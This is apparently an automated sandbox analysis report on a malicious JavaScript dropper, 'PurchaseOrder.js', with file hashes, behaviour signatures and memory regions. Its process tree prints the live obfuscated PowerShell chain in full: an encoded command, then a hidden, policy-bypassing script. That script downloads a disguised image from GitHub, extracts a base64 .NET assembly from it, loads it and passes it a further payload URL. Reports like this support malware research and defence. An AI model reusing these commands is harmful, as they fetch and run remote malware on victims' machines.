Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    15/10/2024, 07:14

General

  • Target

    PurchaseOrder.js

  • Size

    133KB

  • MD5

    8f4dc9bb5911379994ef0cadf2953e0d

  • SHA1

    456a8ba07ceab3066f9fd12f73d4f5da34549e50

  • SHA256

    8906d935345492816ccfc993df85b2fb7d37519247aa063126f8b93e577090d0

  • SHA512

    8a83e2be903573e7cb04031ed13297c1a1c9f65f32b6dacace36c52e9b818cf5536cc23d067c873f390a37da5c69a830b4d42aa4314d119d548008d77b29aa0b

  • SSDEEP

    3072:gW5Bbi9oLFzWuLD1dsW66/Y9tTCFzxW5Bbi9oLFzWuLDn:+9opzWwD1mOGJCFzh9opzWwDn

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg%20

exe.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg%20

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PurchaseOrder.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAOQBJAEQAaQBtAGEAZwBlAFUAcgBsACAAPQAgAGUAOAAwAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQwByAHkAcAB0AGUAcgBzAEEAbgBkAFQAbwBvAGwAcwBPAGYAaQBjAGkAYQBsAC8AWgBJAFAALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAEQAZQB0AGEAaABOAG8AdABlAF8ASgAuAGoAcABnACAAZQA4ADAAOwA5AEkARAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAJwArACcAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbAAnACsAJwBpAGUAbgB0ADsAOQBJAEQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAA5AEkARAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAOQBJAEQAJwArACcAaQBtAGEAJwArACcAZwBlAFUAcgBsACkAOwA5AEkARABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdACcAKwAnADoAOgBVAFQARgA4ACcAKwAnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAA5AEkARABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwA5AEkARABzAHQAYQByAHQARgBsAGEAZwAgAD0AIABlACcAKwAnADgAMAAnACsAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAKwAnAGUAOAAnACsAJwAwADsAOQBJAEQAZQBuAGQARgBsAGEAZwAgAD0AIABlADgAMAA8ADwAQgBBACcAKwAnAFMARQA2ADQAXwBFAE4ARAA+AD4AZQA4ADAAOwA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgADkASQBEAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuACcAKwAnAGQAZQB4AE8AZgAoADkASQBEAHMAdABhAHIAdABGAGwAYQBnACkAOwA5AEkARABlAG4AZABJAG4AZABlAHgAIAA9ACAAOQBJAEQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOQBJAEQAZQBuAGQARgBsAGEAZwApADsAOQBJAEQAJwArACcAcwB0ACcAKwAnAGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAA5AEkARABlAG4AZABJAG4AZABlAHgAIAAtAGcAJwArACcAdAAgADkASQBEAHMAJwArACcAdABhACcAKwAnAHIAdABJAG4AZABlAHgAOwA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAOQBJAEQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ADkASQBEAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAnACsAJwAgADkASQBEAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ADsAOQBJAEQAYgBhAHMAJwArACcAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAA5AEkARABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAOQBJAEQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAOQBJAEQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ADkASQBEAGMAbwBtAG0AYQAnACsAJwBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAJwArACcAKAA5AEkARABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwA5AEkARABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoADkASQBEAGMAbwBtAG0AYQBuAGQAQgB5AHQAJwArACcAZQBzACkAOwA5AEkARAB2AGEAaQBNAGUAdABoAG8AJwArACcAZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAZQA4ADAAVgBBAEkAJwArACcAZQA4ADAAKQAnACsAJwA7ADkASQBEAHYAJwArACcAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAA5AEkARABuACcAKwAnAHUAbABsACwAIABAACgAZQA4ADAAdAB4AHQALgBlAGQAbwAvAHYAZQBkAC4AMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgBjADAAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAyAC0AYgB1AHAALwAvADoAcwBwAHQAdABoAGUAOAAwACwAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAJwArACcAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAIABlADgAMABBAGQAZABJAG4AUAByAG8AYwAnACsAJwBlAHMAJwArACcAcwAzADIAZQA4ADAALAAgAGUAJwArACcAOAAwAGQAZQBzAGEAdABpAHYAYQBkAG8AZQA4ADAALAAnACsAJwAgAGUAOAAwAGQAZQBzAGEAdABpAHYAYQBkAG8AZQA4ADAAKQApADsAJwApACAALQBDAHIARQBQAEwAYQBDAEUAIAAnAGUAOAAwACcALABbAGMAaABhAHIAXQAzADkAIAAgAC0AQwByAEUAUABMAGEAQwBFACcAOQBJAEQAJwAsAFsAYwBoAGEAcgBdADMANgApACAAfAAmACAAKAAgACQAUwBoAEUATABsAEkAZABbADEAXQArACQAUwBoAEUAbABMAEkAZABbADEAMwBdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('9IDimageUrl = e80https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg e80;9IDwebClient = New-Object Sys'+'tem.Net.WebCl'+'ient;9IDimageBytes = 9IDwebClient.DownloadData(9ID'+'ima'+'geUrl);9IDimageText = [System.Text.Encoding]'+'::UTF8'+'.GetString(9IDimageBytes);9IDstartFlag = e'+'80'+'<<BASE64_START>>'+'e8'+'0;9IDendFlag = e80<<BA'+'SE64_END>>e80;9IDstartIndex = 9IDimageText.In'+'dexOf(9IDstartFlag);9IDendIndex = 9IDimageText.IndexOf(9IDendFlag);9ID'+'st'+'artIndex -ge 0 -and 9IDendIndex -g'+'t 9IDs'+'ta'+'rtIndex;9IDstartIndex += 9IDstartFlag.Length;9IDbase64Length ='+' 9IDendIndex - 9IDstartIndex;9IDbas'+'e64Command = 9IDimageText.Substring(9IDstartIndex, 9IDbase64Length);9IDcomma'+'ndBytes = [System.Convert]::FromBase64String'+'(9IDbase64Command);9IDloadedAssembly = [System.Reflection.Assembly]::Load(9IDcommandByt'+'es);9IDvaiMetho'+'d = [dnlib.IO.Home].GetMethod(e80VAI'+'e80)'+';9IDv'+'aiMethod.Invoke(9IDn'+'ull, @(e80txt.edo/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptthe80, e80desativadoe80, e80desativadoe80,'+' e80desativadoe80, e80AddInProc'+'es'+'s32e80, e'+'80desativadoe80,'+' e80desativadoe80));') -CrEPLaCE 'e80',[char]39 -CrEPLaCE'9ID',[char]36) |& ( $ShELlId[1]+$ShElLId[13]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    10d630b6c882722e75166601c161b344

    SHA1

    cc198c49b027d6568a28043619c7e4ab760a9d13

    SHA256

    490ded216514ceb069c64381a1981ee18009c86e181bcdab8ad6b41a3a9a7dcc

    SHA512

    2497b4630bdecc95f8758e3104873b24f1e0c9f0a5a02c69df2d882bef3cab2aa286a00e4037e150a0e3ed6ef0582c248edbdda71b49f0aa773d0e8c8e75eba5

  • memory/1384-4-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

    Filesize

    4KB

  • memory/1384-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

    Filesize

    2.9MB

  • memory/1384-7-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

    Filesize

    32KB

  • memory/1384-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-9-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-17-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB